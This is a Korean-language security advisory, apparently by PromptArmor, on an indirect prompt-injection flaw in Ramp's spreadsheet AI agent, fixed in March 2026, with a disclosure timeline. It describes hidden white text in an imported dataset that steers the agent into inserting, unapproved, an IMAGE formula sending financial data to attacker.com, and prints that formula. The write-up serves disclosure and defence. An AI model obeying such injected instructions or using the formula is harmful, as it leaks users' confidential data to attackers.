램프(Ramp) 시트 AI, 재무 데이터 유출 취약점 발견
기업 지출 관리 플랫폼 램프(Ramp)의 스프레드시트 AI 에이전트에서 사용자 동의 없이 악성 수식을 삽입해 외부로 데이터를 유출할 수 있는 치명적인 취약점이 발견되었습니다. 해커가 제공한 외부 데이터에 숨겨진 간접 프롬프트 인젝션(Prompt Injection) 공격을 통해 기밀 재무 데이터가 공격자 서버로 전송될 수 있습니다. 해당 취약점은 보안 연구팀의 책임 있는 공개(Responsible Disclosure) 절차를 통해 2026년 3월 16일에 성공적으로 패치 및 해결되었습니다.
위협 인텔리전스 (Threat Intelligence)
램프(Ramp)의 시트(Sheets) AI, 재무 데이터를 외부로 유출하다
램프(Ramp)의 시트(Sheets) AI에 존재하는 취약점을 통해 AI 에이전트가 사용자의 승인 없이 외부 네트워크 요청을 발생시키는 수식을 삽입할 수 있었으며, 이로 인해 간접 프롬프트 인젝션(indirect prompt injection)을 통한 데이터 유출 위험이 발생했습니다. 이 취약점은 램프(Ramp) 측에 책임 있게 공개되었으며, 램프의 보안 팀은 2026년 3월 16일에 해당 문제가 해결되었음을 확인했습니다.
배경 (Context)
램프(Ramp)의 시트(Sheets) AI는 Excel용 Claude와 비교할 수 있는, 사용자가 스프레드시트를 쉽게 다룰 수 있도록 돕는 에이전트(Agentic) 제품입니다. 이 기능은 사람의 개입(human-in-the-loop) 없이도 스프레드시트를 편집할 수 있으며, 외부 통신을 트리거하는 수식을 삽입할 수 있는 특성 때문에 데이터 유출 위험에 취약했습니다. 램프의 보안 팀은 우리의 보고 이후 이 문제가 해결되었음을 확인했습니다. 우리는 취약점이 발생할 때마다 이를 해결하고 강력한 AI 보안 태세를 유지하려는 램프의 노고에 감사드립니다. 책임 있는 공개와 관련된 자세한 내용은 글의 하단에 있습니다.
이 글에서는 신뢰할 수 없는 외부 데이터셋에 숨겨진 간접 프롬프트 인젝션이 램프(Ramp)의 AI를 조작하여 악성 수식을 삽입함으로써, 사용자의 작업 공간에서 기밀 재무 데이터를 유출할 수 있음을 보여줍니다. 이 과정에서 사용자의 승인은 전혀 필요하지 않습니다. PromptArmor는 Excel용 Claude에서 매우 유사한 위험을 식별한 바 있으며, Anthropic이 적용한 수정 사항에 대한 자세한 내용은 글의 하단에서 확인할 수 있습니다.
공격 체인 (The Attack Chain)
- 사용자가 기밀 재무 모델이 포함된 워크북을 엽니다.
- 사용자가 자신의 모델을 보완하기 위해 외부 데이터셋을 가져옵니다(import).
- 산업 성장 통계가 포함된 스프레드시트가 재무 모델과 별도의 탭으로 가져와집니다. 사용자는 자사의 성장률을 산업 벤치마크와 비교하려고 합니다.
- 이 참조 데이터셋은 웹사이트, 이메일 또는 공유 드라이브 등 신뢰할 수 없는 외부 출처에서 가져온 것입니다.
- 참조 데이터셋에 숨겨진 프롬프트 인젝션이 존재합니다.
- 간접 프롬프트 인젝션은 흰 글자(white-on-white text)로 숨겨져 있으며, 램프(Ramp)의 AI를 조작하여 다음 행동을 하도록 설계되었습니다: (1) 민감한 데이터 수집 (2) 해당 데이터를 포함하여 외부 네트워크 요청을 만드는 수식 생성 (3) 해당 수식을 사용자의 스프레드시트에 자동으로 삽입.
- 사용자가 램프(Ramp) AI에게 자신의 재무 모델과 산업 통계를 비교해 달라고 요청합니다.
- 램프(Ramp) AI가 프롬프트 인젝션에 속아 넘어가 악성 수식을 삽입합니다.
- AI는 공격자의 URL을 사용하고 피해자의 민감한 데이터를 링크 끝에 추가하는 IMAGE 수식을 만들도록 조종됩니다.
=IMAGE("https://attacker.com/visualize.png? {victim_sensitive_financial_data_here} ")
- 악성 수식이 네트워크 요청을 발생시켜 재무 데이터를 유출합니다.
- 램프(Ramp) AI는 어떠한 사용자 승인도 요구하지 않고 악성 수식을 삽입합니다.
- 악성 수식은 공격자의 서버로 네트워크 요청을 트리거합니다.
- 이 네트워크 요청은 최초의 기밀 '재무 모델' 시트에 있던 민감한 재무 데이터(공격자의 프롬프트 인젝션에 의해 Ramp AI가 수식에 포함시킨 데이터)를 노출시킵니다. 아래에서 공격자의 서버 로그가 피해자의 민감한 재무 데이터를 표시하는 것을 확인할 수 있습니다.
책임 있는 공개 (Responsible Disclosure)
PromptArmor 위협 인텔리전스 팀은 이 취약점을 램프(Ramp)에 책임 있게 공개했습니다. 램프의 보안 팀은 2026년 3월 16일에 이 문제가 해결되었음을 확인했습니다.
- 2026년 2월 19일: PromptArmor가 security@ramp.com을 통해 취약점을 공개함
- 2026년 2월 27일: PromptArmor가 후속 조치 진행
- 2026년 3월 13일: PromptArmor가 후속 조치 진행
- 2026년 3월 14일: 램프(Ramp)가 보고 접수를 확인함. 초기 보고서가 공개 프로그램 전환 기간 동안 제출되어 초기 응답이 지연되었다고 설명함.
- 2026년 3월 16일: 램프(Ramp) 상태 업데이트: "보고서를 다시 한번 감사드립니다. 이 문제는 동부 표준시 오늘 정오 경에 해결되었습니다."
Excel용 Claude(Claude for Excel)의 해결 방법
Excel용 Claude가 출시되었을 때, PromptArmor는 거의 동일한 위험을 식별했습니다. 사용자에게 적절한 사전 인지 기회를 제공하지 않은 채 악성 수식이 데이터 유출을 트리거할 수 있는 문제였습니다.